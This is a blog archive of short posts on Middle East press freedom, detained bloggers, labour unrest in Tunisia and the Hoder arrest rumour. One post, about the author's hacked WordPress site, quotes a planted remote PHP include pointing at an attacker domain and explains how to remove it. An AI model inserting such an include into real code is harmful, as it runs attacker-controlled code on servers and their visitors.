The Skeptic الشكاك

1044 Echoes of Mahalla… in Tunisia

Completely slammed with work and suffering from crippling IT problems, but wanted to flag 10 quick items:

1. I highly recommend Doshka ya Doshka, an excellent blog from Gaza by “a startled Anglo-Arab woman.” I have just subscribed to the RSS feed.

2. The case against editors and journalists from Al-Wafd and Al-Masry al-Youm for reporting on Egyptian real-estate developer Talaat Mostafa’s murder trial despite a gag order has been referred to trial. According to Al-Masry al-Youm, prosecutors have taken no action on another case, against editors and journalists from the government-owned Al-Ahram, Al-Akhbar, and Gomhuriya newspapers, for reporting on the trial.

3. Al-Masry al-Youm and Al-Wafd are also under fire from Amr Bargisi, who, in an op-ed for the Wall Street Journal, called them “Jew haters.” The following day, Al-Masry al-Youm ran a summary of his story.

4. Patrick Swayze is, alas, not dead yet.

5. The Muslim Brotherhood has promised to endorse Gamal Mubarak, the son, if President Hosni Mubarak, the father, resigns. Surely a bit tongue in cheek, but over the years I have heard from many people that they would forget their complaints about the president if he were to resign.

6. Speaking of the Brothers, another 28 were arrested in Marsa Matrouh and Alexandria last Saturday. The Press Syndicate’s Freedoms Committee is sponsoring a conference on behalf of Mohammed Adil and Mohammed Khairy, two Gaza solidarity activists with Brotherhood ties detained in a separate roundup last month. Both maintain blogs.

7. Echoes of Mahalla: Amnesty International is calling on the Tunisian government to investigate allegations that security forces tortured labor activists after demonstrations spread through Tunisia’s southeastern Gafsa region last summer:

AMNESTY INTERNATIONAL
PUBLIC STATEMENT
3 December 2008
Tunisia: Urgent investigation needed into alleged human rights violations in the Gafsa region

Amnesty International today called on the Tunisian government to order an independent investigation into allegations of torture and other abuses by security forces when quelling protests earlier this year in the Gafsa region on the eve of the trial of a local trade union leader and 37 others accused of fomenting the unrest. Adnan Hajji, Secretary General of local office of the General Union of Tunisian Workers (UGTT) in Redeyef, and his co-accused are due to go on trial on 4 December 2008 on charges including “forming a criminal group with the aim of destroying public and private property”. They could face up to more than ten years of imprisonment if convicted. At least six of 38 accused are to be tried in their absence.

In a letter to Tunisia’s Minister of Justice and Human Rights Béchir Tekkari, Amnesty International called for the authorities to disclose the outcome of an official investigation which they said had been set up after police opened fire on demonstrators on 6 June 2008, killing one man and injuring others, sparking allegations that police had used excessive force. The letter also detailed cases in which people suspected of organizing or participating in protests are reported to have been detained and tortured by police who forced them to sign incriminating statements that could be used against them at trial and falsified their arrest dates in official records.

BACKGROUND
The phosphate-rich Gafsa region, in south-east Tunisia, was wracked by a wave of popular protests in the first half of this year. They began in the town of Redeyef after the region’s major employer, the Gafsa Phosphate Company, announced the results of a recruitment competition. These were denounced as fraudulent by those who were unsuccessful and others, including the UGTT, and the protests, which developed into a more general protest about high unemployment and rising living costs, then spread to other towns as the authorities deployed large numbers of police and other security forces into the region. Hundreds of protestors were arrested and more than 140 have been charged with offences, some of whom have been convicted and sentenced to jail terms.

For the continuing repercussions of labor unrest in Mahalla, see 3arabawy.

8. Jordan is threatening to jail smokers.

9. Peter Lagerquist has an excellent article in MERIP about the riots in Acre last October. Who can resist an article with such headings as “hummus and demography?”

10. Where (not very) particular people congregate: An online map of bars in downtown Cairo, including such helpful information as how much a Stella costs and whether shisha is also available.

1014 Where’s Hoder?

Where’s Hoder? If the Iranian government has detained him, they should say so. If he is free, he should say so.

A few days ago, Jahan News reported that Iranian-Canadian blogger Hossein Derakhshan, better known on the Internet as Hoder, had been arrested soon after his return to Iran, and that he had confessed to spying for Israel. On November 17, the official Islamic Republic News Agency ran the first part in a series of “confessions” from a “Hossein D, one of the people misled by the reformist movement.” (Global Voices has helpfully translated the full IRNA item. It should sound familiar to anyone who has seen previous propaganda “confessions“).

To date, there has been no independent confirmation of Hossein’s arrest, and I understand that his family and friends have not appealed for help. Jahan news, the only source for the story, has been described as “close to Iranian intelligence” and “not a reliable source of information.”

Rancor and Rumor
What we have, then, is a single, alarming rumor from a Web site of dubious reliability. But reaction to the rumor has brought into focus the Iranian-Israeli confrontation and the fault lines within the paranoid, sometimes poisonous world of Iranian diaspora politics. Rumor and paranoia are natural companions, and the original rumor has already multiplied many times over, into more rumors, insinuations, and hints of schadenfreude.

Look at the comments readers left on Brian Whitaker’s report. There’s the usual huffing and puffing that accompanies talk of Iran, Israel, and especially the two together. There’s a distracting thread about Mordechai Vanunu. There are suggestions that this whole thing is just an attention-grabbing stunt. And I’ve heard worse insinuated. How to account for the rancor and the rumor?

Hossein moved to Canada in 2000 and began blogging in 2001. He figured out how to use unicode on blogger to write in Farsi and published a how-to guide for the benefit of others. The Iranian blogosphere quickly ballooned, and Hossein became a well-known proponent of the Internet as an engine for free speech. Journalists called him the “Blogfather.” This sparked resentment from some Iranian bloggers, who felt he took too much credit.

In 2006, Hossein went to Israel on his Canadian passport on an invitation from Lisa Goldman. He explained:

I’ve publicly come to Israel to break a big taboo and to be a bridge between Iranian and Israeli people who are manipulated by their own governments’ and media’s dehumanizing attitude, especially now that the possibility of some sort of violent clash is higher than ever.

Haaretz and The Jerusalem Post loved it, and The New York Times published an op-ed of his with a Tel Aviv byline. Iranian bloggers, Hossein admitted to the Post, were less enthused. Nationalists reacted as anyone would expect. Critics of the government feared guilt by association.

Considering that he had been briefly detained on his last trip to Iran and forced to sign an apology for his writings, and considering that visiting Israel is a crime in Iran, Hossein knew that he would likely face some repercussions if he attempted to return to Iran. But he was already talking about going back one day.

Hossein had always argued online a lot: on blogs, on listservs, in articles. He made accusations and alienated a lot of people. In some cases, his attacks could have put activists in danger.

Over the course of 2006, as U.S. policy on Iran became more bellicose, Hossein became more defensive of the Iranian government. In September 2006 he argued that Iranian-Canadian academic Ramin Jahanbegloo’s “recantation” after four months in an Iranian prison had been sincere, that Jahanbegloo regretted that his work had “indirectly help[ed] the Bush administration in its plans for regime change in Iran through fomenting internal unrest and instability,” and that Iran’s government had “moved beyond state terror.” Some received the article with “bewilderement and outrage,” others as “a slap across the face.”

Around this time, Don Butler wrote in The Ottawa Citizen, “Interview requests from western-based Iranian media… dried up, as [did] invitations to ex-pat events and panel discussions.”

Undeterred, Hossein argued that “The Islamic Republic is worth defending. Even at its worst, it is way better than anything the US or anyone else can bring to Iran,” and added that he “would definitely support Iran if it one day decided it would start making [nuclear] weapons.”

It was also around this time that Hossein officially pulled the plug on stop.censoring.us, where he had formerly monitored Internet censorship in Iran. “Internet censorship exists in Iran,” he wrote, “As it does in many other parts of the world, especially in the Middle East.

But it has recently become another pretext for the United States and its allies to further demonise and delegitimise the government of Iran.

Despite all problems and challenges, I believe that Islamic Republic is a legitimate, sovereign and democratic system and I reject any attempts to participate in such nasty demonising campaigns, which ultimately try to justify the Western intervention.

I believe that Internet censorship is an internal problem and the only way to solve it should also come and develop from within. Taking such efforts beyond Iran and into the international scene will benefit the American politicians more than the Iranian internet users.

Therefore, although this website has not been updated for almost a year, I now officially shut it down.

In October 2007, Mohammed Mehdi Khalaji, a visiting fellow at the Washington Institute for Near East Policy, sued him for $2 million, alleging that he had defamed him in a series of blog posts beginning in 2005. In response to the lawsuit, Hossein’s hosting company asked him to remove the posts. He refused, and, after an exchange of emails, the hosting company eventually canceled his account. Ethan Zuckerman, who has long experience with Hossein, defended him on principle, but had to admit “that Derakhshan can be abrasive and difficult.”

Where’s Hoder?
None of this answers the question, “Where is Hoder?” But it does help explain some of the rancor.

So where, indeed, is Hoder? It’s been days now since this rumor started. If he were near a phone line, you would think that he would have noticed the noise and written to say he’s alright. This is a man who monitors Technorati links to his op-eds. Hossein’s family and friends have not come forward to ask for help, but before he returned to Iran this last time, Hossein asked people not to campaign on his behalf if he were detained in Iran because he expected he would not be held long, and that nothing serious would happen to him. I sincerely hope he is hiking in the mountains of Iran, blissfully unaware of the brouhaha.

To those who believe Hossein should be given the same consideration he showed previous detainees, consider these words from H.L. Mencken: “The trouble with fighting for human freedom is that one spends most of one’s time defending scoundrels. For it is against scoundrels that oppressive laws are first aimed, and oppression must be stopped at the beginning if it is to be stopped at all.”

If the Iranian government does have him (and pardon me for saying so, Hossein), it should say so and release him. Given Hossein’s high profile and his expressed views, he’d make a funny kind of an Israeli spy.

Disclosure: I first met Hossein Derakhshan at a 2004 conference in Cambridge, Massachusetts, where he spoke about blogs and censorship in Iran. We have crossed paths at least once a year since, each time in a different city. I last saw him in June, in Budapest, where we had a cordial argument about whether international human rights organizations were pawns for Dick Cheney and the Israel Lobby (I argued against).

808 The CTUWS Blog

The Center for Trade Union and Workers’ Services (CTUWS) has a blog.

The Egyptian government closed the organization in April 2007 after officials from the Ministry of Social Solidarity blamed it for inciting workers to strike. Last June the Ministry of Social Solidarity announced that it would comply with a March 30 Cairo Administrative Court order to allow the center to reopen.

The people I have met from CTUWS have spent their adult lives trying to help Egyptian factory workers. Their blog promises to be an important resource on labor conditions around the country.

705 Egyptian Blogger Detained Under Emergency Law

The Arabic Network for Human Rights Information and the Hisham Mubarak Legal Center report that Mohammed Refaat, a student and a blogger, was detained on July 21 on charges of “threatening public security” by using the Internet to call for a strike on July 23. Refaat apparently approached a State Security officer who goes by the assumed name Hisham Tawfiq at State Security headquarters after he found his house had been searched and his computer and books had been seized. He was then detained and charged in case No. 1143 for 2008.

On August 17, the organizations report, a State Security prosecutor ordered him released, but officers brought him back to State Security headquarters.

I took a quick look at Refaat’s blog and could find nothing political.

576 Sterlization, for a Brighter Future

Eugenicist: Each baby, when it’s born, must donate some of his sex cells—sperm or egg—and these are put in a deep freeze, and just kept. The person leads his life, and, uh, and dies. And after he’s dead and gone, so all the heat and passion is taken out of the matter, a committee meets and studies his life.
Interviewer: During his lifetime, then, he hasn’t had any children…
Eugenicist: He’s been sterilized and hasn’t had any children in the normal way. After he’s dead and gone, the committee meets and reviews his life and asks, “Would we like to have some more people like him?”

More on the American “eugenics movement…”

(Found while browsing videos published by one of my favorite bloggers, Paleofuture)

549 Best Blog… Ever

Thanks to the SP News Service for alerting me to The Best Blog Ever: Stuff White People Like.

Oh, and yeah, way to go Fidel! May all the other presidents-for-life hearken to your example.

522 Promotional Materials

I’m pleased to find two former colleagues of mine, Andrew Yurkovsky and Debbie Kuan, blogging. They’re both very clever, and they both write very well. Strongly recommended. Also see Tara Todras-Whitehill’s new photo blog. Tara’s a wicked talented photographer who recently broke all of Cairo’s heart by leaving us to take a job for the AP.

I’m also happy to find that, thanks to my friend Lawrence Krauser, who is probably a genius, the horrible child is now online.

492 The Middle East and Asimov’s Laws of Robotics

Punditpalooza: What’s the noun of assembly for op-ed writers? “A pontification of priests” has “pontification” in it, but “priests” seems strikingly inappropriate. Some might argue that “a drift of swine” would be more like it, but I think “a glozing of taverners” is more charitable and perhaps more accurate. In any case, you can find them, and links to all the articles they wrote, mostly about the NIE, here.

Ahmadinejad and the Gulf: Marc Lynch notices what most everyone else failed to notice in our astonishment at the NIE: Mahmoud Ahmadinejad glad-handing at the GCC. Prof. Lynch is more cautious, but these two events — the release of the NIE, Ahmadinejad in the Gulf exchanging platitudes about closer ties — could together make yesterday a decisive turning point in the world’s relations with Iran. How quickly can the United States pivot? I don’t think you appease someone like Iran’s diminutive president. I suspect you bait him with his megalomania until he chokes on it or finds himself caught in a cage. Like in chess or martial arts: You show your opponent a false opening, a feigned weakness, invite him in, and use his weight against him.

Moumediene/Al Odah v. Bush: Habeas corpus and Guantanamo at the Supreme Court. Brief resource center here. Good overview of what’s at stake from The Christian Science Monitor.

Dawn Visitors: Security detained 25 members of the Muslim Brotherhood in Cairo Wednesday morning. Security also detained either 11 (Reuters) or 13 (AFP) brothers in Sohag December 4. The Brotherhood renounced violence in the 1970s.

No Fuel in Gaza: Israeli sanctions have forced all official filling stations in Gaza to close indefinitely. No fuel also means that power stations can’t generate electricity and waterworks can’t pump water. So people are living in the dark without running water. The Palestinians are asking Egypt to help.

Tighter Control of Mercenaries: Mercenaries just got even less useful. The Pentagon and the State Department signed an agreement putting tighter military controls on Blackwater. Better late than never. Used to be that they were somewhat useful because they were not accountable. At least they still make blimps. I like blimps. But I’m not sure they’re the best use of Americans’ Hard-Earned Tax Dollars.

AU-EU Summit: Egypt hosted a preliminary meeting on the Lisbon EU-AU summit. So what? In 2004-2005, a high-level meeting on Darfur and human rights in Egypt would have sounded like a pipe dream.

Russia Flexes Naval Muscles in the Mediterranean and the Atlantic.

The Wacky Men and Women of the MKO: Video of a bizarre and ultimately boring parade of the Mojahidin-e Khalq, sort of the Scientologists of the “terrorist community,” set to techno. (Thanks, Blake, and congratulations)

Robots: I’ve been chewing over this weeks-old post from Mountainrunner for a few days now, and I have to confess, I’m not any closer to knowing what to think now than I was when I first read it. Mountainrunner reports that a South African robotic cannon went berserk, killing nine.

This has implications for his research, which sounds very interesting. Take his survey on perceptions of robots in warfare simply to be asked questions you likely never will be again. Ron Arkin’s paper on “constraining lethal actions in an autonomous robotic system so that they fall within the bounds prescribed by the Laws of War and Rules of Engagement” (PDF here) is also well worth the detour.

Now, I know when I’m out of my depth, but speaking as an unarmed human being, I’m wondering if we need an NGO to campaign for Isaac Asimov’s Laws of Robotics in the same way human rights organizations campaign for the implementation of international humanitarian law. Asimov’s 3 Laws of Robotics, first postulated in Runaround (1942), are:

1. A robot may not injure a human being or, through inaction, allow a human being to come to harm.
2. A robot must obey orders given it by human beings except where such orders would conflict with the 1st Law.
3. A robot must protect its own existence as long as such protection does not conflict with the 1st or 2nd Law.

In Robots and Empire (1982), Asimov added a “Zeroth” Law, to proceed and supersede all the others: “A robot may not injure humanity or, through inaction, allow humanity to come to harm.”

Why can’t all robots be like QRIO? (Elaborate bow, Mountainrunner)

433 div id=”Goro”

These are the suckers who hacked my site, apparently in an ill-thought-out search engine online pharmaceutical scam. Turns out, they managed to insert a hidden

<div id="goro">

chock full of SPAM links that will tell you all about snorting Xanax and Viagra.

I first suspected the theme, which initially built in hidden links to the designer’s Web site in hidden places, but I get the same thing when I change themes. I’m working on fixing it. In the meantime, if anyone notices something funky, I’m not trying to hawk pills.

Anybody know a good spam reporting service? Or anything I can do about this? I’ve wasted a day trying to “harden” WordPress and blocking IP addresses from accessing this site. Nothing has worked, but I have blocked Microsoft’s Live.com search engine (implicated because the hidden <div> tag calls a JavaScript from a Live.com server).

UPDATE: OK, problem solved. This was the offending line of code:

<?php include('http://wordpress.net.in/statcounter.php'); ?>.

WP users, if you find this in your footer code, delete it and look at the WP codex for tips on “hardening” WP. Incidentally, WordPress.net.in resolves to 207.145.65.44 and is registered to “Mick Jagger” of 1 Red Square, Moscow, MA. His email is listed as mkk.goro@bk.ru.

417 Brotherhood Blogger Identifies Torturer

Journalist and blogger `Abd al-Monim Mahmud has identified his torturer: He says officer Atif al-Hussaini (his real name?) tortured him for 13 days in the Nasr City State Security headquarters after he was arrested at an antiwar rally in 2003. He also accuses Ahmad Mussa, a journalist for the government’s flagship daily Al-Ahram, of conspiring with al-Hussaini to get him detained again. Mahmud believes he is the unnamed journalist Mussa accused of being sent by the Muslim Brotherhood to infiltrate the opposition daily Al-Dustur.

Mahmud has reason to be nervous. He told me that when he was released in June, the State Security officer assigned to his case told him that he was already writing his next detention order. (Thanks, Nora)

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